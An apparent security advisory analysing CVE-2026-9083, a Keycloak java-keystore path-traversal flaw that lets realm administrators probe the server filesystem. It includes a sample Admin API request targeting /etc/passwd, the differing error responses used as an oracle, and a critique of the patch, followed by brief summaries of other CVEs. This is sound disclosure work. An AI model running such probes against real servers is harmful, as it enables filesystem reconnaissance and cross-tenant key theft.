Oct 30, 2026·11 min read·4 visits
Authenticated Keycloak realm administrators with the 'manage-realm' role can exploit unvalidated file path handling in the java-keystore key provider to enumerate arbitrary files and directories on the underlying server filesystem via differential error responses.
CVE-2026-9083 is a path traversal and information disclosure vulnerability (CWE-22) affecting Keycloak and the Red Hat build of Keycloak. The vulnerability resides in the Java Keystore key provider component (JavaKeystoreKeyProviderFactory), which fails to restrict the user-supplied keystore file path to a designated directory. An authenticated realm administrator holding the 'manage-realm' role can supply arbitrary absolute or relative filesystem paths when configuring a key provider. Because the application returns distinct error messages depending on whether the target path does not exist, lacks read permissions, or fails keystore parsing, an attacker can use this component as an oracle to probe the underlying host filesystem.
Keycloak is an open-source identity and access management solution that supports multi-tenant deployments through isolated security domains known as realms. Each realm manages its own set of users, credentials, roles, and cryptographic keys used for signing and encrypting tokens. To accommodate external key management workflows, Keycloak provides a Key Service Provider Interface (SPI) that allows realm administrators to configure custom key providers, including the java-keystore provider (org.keycloak.keys.JavaKeystoreKeyProviderFactory).
The java-keystore provider enables a realm to load asymmetric key pairs or symmetric secret keys directly from a Java KeyStore (JKS, PKCS12, or BCFKS) file residing on the local server filesystem. When configuring this component through the Keycloak Admin Console or the Admin REST API, a realm administrator supplies configuration parameters including the keystore file path (keystore), password (keystorePassword), key alias (keyAlias), and keystore type (keystoreType).
In affected versions of Keycloak, the JavaKeystoreKeyProviderFactory and JavaKeystoreKeyProvider classes do not enforce path containment or directory restrictions on the keystore configuration attribute. The component accepts arbitrary absolute paths or relative paths containing directory traversal sequences (../) and passes them directly to a java.io.FileInputStream constructor.
This design flaw introduces an information disclosure vulnerability classified under CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). An authenticated realm administrator with the manage-realm role can exploit the differential error responses generated during keystore validation to probe the host filesystem. By observing the specific exceptions returned by the server, a privileged user within a single tenant realm can determine the existence and readability of arbitrary files across the underlying operating system or within other realms.
The root cause of CVE-2026-9083 is the absence of path canonicalization and directory boundary validation during the configuration validation and key loading phases of the java-keystore provider lifecycle. When a realm administrator creates or updates a java-keystore component, Keycloak invokes the validateConfiguration method in org.keycloak.keys.JavaKeystoreKeyProviderFactory.
Prior to the patch, validateConfiguration verified only the presence and basic syntactic validity of the required configuration properties (keystore, keystorePassword, keyAlias, keyPassword, and keystoreType) using ConfigurationValidationHelper. It did not verify whether the string supplied in the keystore property resolved to a location within an authorized directory tree. Immediately following property presence checks, validateConfiguration instantiated JavaKeystoreKeyProvider and invoked its loadKey method.
Within org.keycloak.keys.JavaKeystoreKeyProvider.loadKey, the raw keystore string was retrieved from the ComponentModel and passed directly into new FileInputStream(keystorePath). Because Java's FileInputStream resolves paths directly against the host operating system's filesystem, any path accessible to the OS user running the Keycloak JVM process could be targeted.
The vulnerability is exposed as an information disclosure oracle due to the exception handling blocks in validateConfiguration. When loadKey is executed against an arbitrary file path, three distinct execution branches can occur depending on the state of the target path on the host filesystem:
new FileInputStream(keystorePath) throws a java.io.FileNotFoundException. Note that in standard Java FileInputStream implementations, both non-existent files and permission-denied errors raise FileNotFoundException, which validateConfiguration catches and translates into a ComponentValidationException with the message "Failed to load keys. File not found on server."FileInputStream also raises a FileNotFoundException.FileInputStream succeeds and passes the stream to KeyStore.load(). If the target file is not a valid keystore (e.g., /etc/passwd or an application configuration file), KeyStore.load() throws an IOException (caught and reported as "Failed to load keys. Error while reading keys file." or a GeneralSecurityException). If the target file is a valid keystore belonging to another realm, it may fail with a password verification error or alias error. This clear discrepancy allows reliable differentiation between readable existing files and non-existent or unreadable paths.The remediation for CVE-2026-9083, implemented in commit 1bc0dd3ea7129f53d3031687e7bf36c009cf1bca, introduces a strict directory hierarchy for keystore files and enforces path containment checks before any file I/O operations take place. The patch modifies both JavaKeystoreKeyProviderFactory.java and JavaKeystoreKeyProvider.java.
In JavaKeystoreKeyProviderFactory.java, the patch introduces a new initialization configuration parameter keystores-path (KEYSTORES_PATH_INIT_KEY). During the factory initialization phase (init), Keycloak sets the base keystoresPath directory, defaulting to ${kc.home.dir}/data if not explicitly configured via startup flags:
@Override
public void init(Config.Scope config) {
// Define and normalize the root directory for all realm keystores
this.keystoresPath = Paths.get(config.get(KEYSTORES_PATH_INIT_KEY, System.getProperty("kc.home.dir") + "/data")).normalize();
String[] supportedKeystoreTypes = CryptoIntegration.getProvider().getSupportedKeyStoreTypes()
.map(KeystoreUtil.KeystoreFormat::toString)
.toArray(String[]::new);
// ...
}Within validateConfiguration, the patch adds path normalization and boundary verification prior to invoking loadKey. The user-supplied keystore path is converted to a java.nio.file.Path object and normalized to strip redundant relative segments (such as . and ..). If the path is relative, it is resolved against a realm-specific subdirectory (${keystoresPath}/${realm.getName()}). The code then verifies that the normalized path begins with the realm's designated directory using Path.startsWith():
// Convert input to Path and resolve any '../' traversal sequences
Path keystorePath = Paths.get(model.get(KEYSTORE_KEY)).normalize();
if (!keystorePath.isAbsolute()) {
keystorePath = this.keystoresPath.resolve(realm.getName()).resolve(keystorePath);
}
// Enforce containment within ${keystoresPath}/${realmName}
if (!keystorePath.startsWith(keystoresPath.resolve(realm.getName()))) {
throw new ComponentValidationException(String.format(
"Keystore file '%s' is not under the realm directory '%s'", keystorePath, keystoresPath.resolve(realm.getName())));
}
try {
KeyWrapper key = new JavaKeystoreKeyProvider(keystoresPath, realm, model, session.vault()).loadKey(keystoresPath, realm, model);
validateCertificateChain(key.getCertificateChain());
} // ...A subtle flaw exists in the ordering of operations for relative paths containing traversal sequences: because .normalize() is called before this.keystoresPath.resolve(realm.getName()).resolve(keystorePath) and not called again after .resolve(), a relative input such as ../other_realm/keystore.jks remains ../other_realm/keystore.jks after the initial .normalize(). When resolved against /opt/keycloak/data/myrealm, the resulting Path object is /opt/keycloak/data/myrealm/../other_realm/keystore.jks. Because Path.startsWith() operates on path elements without automatically normalizing them, /opt/keycloak/data/myrealm/../other_realm/keystore.jks actually passes the startsWith("/opt/keycloak/data/myrealm") check.
> [!WARNING]
> Fix Completeness Assessment: While the patch blocks arbitrary absolute paths (such as /etc/passwd) and relative paths that are normalized after resolution, calling .normalize() prior to .resolve() without re-normalizing the resolved path before calling .startsWith() is a known anti-pattern in Java Path validation. If a relative path beginning with .. is supplied, keystorePath.isAbsolute() is false, and .resolve(keystorePath) appends the .. segment onto the base realm path. Because Path.startsWith() compares abstract path components literally without resolving .., the prefix check evaluates to true, potentially allowing relative path traversal outside the realm directory if not normalized post-resolution.
In JavaKeystoreKeyProvider.java, loadKey was updated to resolve relative paths against the realm directory while maintaining backward compatibility for existing, unmodified component configurations created prior to upgrading:
protected KeyWrapper loadKey(Path keystoresPath, RealmModel realm, ComponentModel model) {
Path keystorePath = Paths.get(model.get(JavaKeystoreKeyProviderFactory.KEYSTORE_KEY));
if (!keystorePath.isAbsolute()) {
// Resolve the path from the keystores directory if file exists;
// if not, fall back to previous file location for backwards compatibility
Path path = keystoresPath.resolve(realm.getName()).resolve(keystorePath);
if (Files.exists(path)) {
keystorePath = path;
}
}
try (FileInputStream is = new FileInputStream(keystorePath.toFile())) {
KeyStore keyStore = loadKeyStore(is, keystorePath.toString());
// ...This backward-compatibility mechanism ensures that pre-existing keystores configured in earlier versions continue to load at runtime until an administrator attempts to modify or re-import the component configuration, at which point validateConfiguration is triggered.
Exploiting CVE-2026-9083 requires authenticated access to a Keycloak realm with an account possessing the manage-realm realm-management role. In multi-tenant deployments where realm administration is delegated to customer administrators or lower-trust organizational units, an attacker with these credentials can interact directly with the Keycloak Admin REST API to probe the underlying server filesystem.
To execute the probe, the attacker sends an HTTP POST request to the /admin/realms/{realm}/components endpoint (or PUT to /admin/realms/{realm}/components/{id}) with a JSON payload defining a org.keycloak.keys.KeyProvider component using the java-keystore provider ID.
POST /admin/realms/target-realm/components HTTP/1.1
Host: keycloak.example.com
Authorization: Bearer <Admin_Access_Token>
Content-Type: application/json
{
"name": "probe-keystore",
"providerId": "java-keystore",
"providerType": "org.keycloak.keys.KeyProvider",
"parentId": "target-realm",
"config": {
"keystore": ["/etc/passwd"],
"keystorePassword": ["password"],
"keyAlias": ["alias"],
"keyPassword": ["password"],
"keystoreType": ["JKS"],
"active": ["true"],
"enabled": ["true"],
"priority": ["100"],
"algorithm": ["RS256"]
}
}By iterating through a list of target paths in the keystore array field, the attacker observes the HTTP 400 Bad Request response body returned by the server:
/nonexistent/file or /etc/shadow (assuming Keycloak runs as a non-root user), the server responds with:
{
"errorMessage": "Failed to load keys. File not found on server."
}/etc/passwd or /opt/keycloak/conf/keycloak.conf, FileInputStream opens the file and KeyStore.load() fails to parse the magic bytes, returning:
{
"errorMessage": "Failed to load keys. Error while reading keys file."
}KeyStore.load() throws a GeneralSecurityException (such as Keystore was tampered with, or password was incorrect), returning:
{
"errorMessage": "Failed to load keys. Keystore was tampered with, or password was incorrect"
}Furthermore, in Scenarios C or when probing another realm's keystore file whose password happens to be known or weak, a realm administrator in Realm A can load cryptographic keys belonging to Realm B if the filesystem path to Realm B's keystore is discovered.
The primary impact of CVE-2026-9083 is unauthorized information disclosure (C:H in the CVSS v3.1 vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N). Although the vulnerability does not allow reading the arbitrary contents of non-keystore files directly through the HTTP response, it provides a reliable oracle to enumerate the filesystem layout, verify installed packages, locate configuration files, and identify readable keystore files on the server.
In a multi-tenant Keycloak environment where realm administration (manage-realm) is granted to semi-trusted parties, this vulnerability breaks tenant isolation at the filesystem level. A realm administrator is intended to have administrative control solely over their assigned realm's logical configuration, not visibility into the underlying host operating system or the file structures of neighboring realms.
If a realm administrator locates a valid Java KeyStore file on the host filesystem belonging to another realm or to the host environment itself, and either knows the keystore password or brute-forces it via repeated component validation requests, the administrator can load those cryptographic keys into their own realm. Once loaded, those keys could be used by the attacker's realm to sign tokens or inspect public certificate chains.
The vulnerability does not allow arbitrary file modification (I:N) or deletion, nor does it degrade the availability of the Keycloak server (A:N). Because exploitation requires high privileges (PR:H), specifically an authenticated user with the manage-realm role, the Exploit Prediction Scoring System (EPSS) score is low at 0.0078 (55.84th percentile).
To remediate CVE-2026-9083, upgrade Keycloak to version 26.6.4 or 26.4.13 (or later). Users of the Red Hat build of Keycloak should apply the corresponding security errata (RHSA-2026:30049, RHSA-2026:30050, RHSA-2026:30083, or RHSA-2026:30084), which update the packages to versions 26.4.13-1 and 26.6.4-2.
> [!IMPORTANT]
> Breaking Change & Migration Requirement: The security patch introduces a breaking change for deployments utilizing the java-keystore key provider. Keystore files must now reside inside a realm-specific subdirectory under the main keystores directory: ${kc.home.dir}/data/<realm-name>/. While existing keystore configurations will continue to function at runtime after upgrading, any attempt to update, save, or import a java-keystore component pointing outside this directory will fail validation.
When migrating an existing deployment to a patched version, administrators must perform the following steps:
${kc.home.dir}/data/ (for example, /opt/keycloak/data/myrealm/).--spi-keys--java-keystore--keystores-path CLI flag:
kc.sh start --spi-keys--java-keystore--keystores-path /path/to/keystores<keystores-path>/<realm-name>/ directory and ensure the Keycloak OS user has read permissions.keystore configuration property in the Keycloak Admin Console for each java-keystore provider to use either the relative filename (e.g., keystore.jks) or the full canonical path inside the realm directory.In environments where an immediate upgrade is not possible, mitigate the risk by auditing and restricting the assignment of the manage-realm role. Ensure that only fully trusted system administrators possess permissions to create or modify realm components.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Keycloak Keycloak | >= 26.6.0, < 26.6.4 | 26.6.4 |
Keycloak Keycloak | >= 26.4.0, < 26.4.13 | 26.4.13 |
Red Hat build of Keycloak Red Hat | >= 26.6, < 26.6.4-2 | 26.6.4-2 |
Red Hat build of Keycloak Red Hat | >= 26.4, < 26.4.13-1 | 26.4.13-1 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CWE-22: Path Traversal / Arbitrary Path Probing |
| Affected Component | JavaKeystoreKeyProviderFactory (java-keystore SPI) |
| Attack Vector | Network (Keycloak Admin REST API / UI) |
| Privileges Required | High ('manage-realm' role) |
| CVSS v3.1 Score | 4.9 Medium (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N) |
| EPSS Score | 0.78% (55.84th percentile) |
| Security Impact | Host filesystem enumeration and cross-realm keystore probing |
| CISA KEV Status | Not Listed |
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
CVE-2026-9799 is an authorization bypass vulnerability in the User-Managed Access (UMA) subsystem of Keycloak (org.keycloak.authorization). When a resource server is configured with the non-default PERMISSIVE policy enforcement mode, an authenticated user holding a valid UMA permission ticket for a single typed resource can obtain an authorization Requesting Party Token (RPT) granting access to all resources of the same type across the resource server. By submitting an authorization request with the type selector prefix 'resource-type-any:<type>', the attacker bypasses instance-level owner approval checks for unshared peer resources that lack explicit static administrative policies.
CVE-2026-9086 is a stored Cross-Site Scripting (XSS) vulnerability in Keycloak and the Red Hat build of Keycloak. The vulnerability stems from a case-sensitive URI scheme validation check in DefaultClientValidationProvider, allowing attackers with client registration or management permissions to inject javascript: or data: URIs using mixed-case characters.
CVE-2026-62290 is an incorrect authorization vulnerability (CWE-863) in cert-manager that allows low-privileged Kubernetes namespace tenants to bypass ClusterIssuer DNS01 solver policies and exfiltrate cluster-scoped DNS credentials. By directly creating standalone ACME Challenge custom resources rather than going through the standard Certificate and Order workflow, an attacker can specify arbitrary solver provider configurations while referencing a privileged ClusterIssuer. The cert-manager ACME challenge controller reconciles these directly instantiated Challenge resources without verifying their parentage or validating the user-supplied solver parameters against the referenced ClusterIssuer's selector policies.
CVE-2026-118662 (also tracked as GHSA-8g5g-mxqh-grgj) is an improper access control and path canonicalization vulnerability in the Vite frontend build and development tool. In version 6.4.4, the Vite development server fails to strip transform and loader query parameters before evaluating file paths against the `server.fs.deny` configuration directive. When the development server is exposed to a network and sensitive files located within `server.fs.allow` match patterns in `server.fs.deny`, an unauthenticated remote attacker can bypass file access restrictions by appending specific query strings such as `?raw` or `?inline` to HTTP requests. This allows arbitrary retrieval of restricted files, including environment configuration files and private cryptographic keys.
A vulnerability in the Rust `zip` crate (versions 1.3.0 prior to 9.0.0) allows an attacker to trigger an uncatchable process abort via a crafted ZIP archive. When extracting symbolic link entries on Unix or Windows targets, `ZipArchive::extract` passes the untrusted, attacker-controlled `uncompressed_size` header value directly to `Vec::with_capacity` before reading or validating entry payload data. By supplying a 112-byte archive with a ZIP64 extended information field declaring an excessive uncompressed size, an attacker forces the memory allocator to fail and invoke `handle_alloc_error()`, immediately terminating the entire process with `SIGABRT`.
CVE-2026-115906 is a cryptographic authentication bypass vulnerability in the Rust zip library (zip-rs/zip2) affecting versions from 0.6.0 prior to 9.0.0. In the WinZip AE-x AES decryption reader implementation within src/aes.rs, the HMAC-SHA1-80 authentication tag is only validated when the internal byte counter (data_remaining) decrements to exactly zero. Because this counter is initialized from the unauthenticated compressed_size header field, an attacker can craft a ZIP archive where the entry stream hits premature physical end-of-file (EOF) before data_remaining reaches zero, causing the reader to return Ok(0) and skip HMAC verification entirely.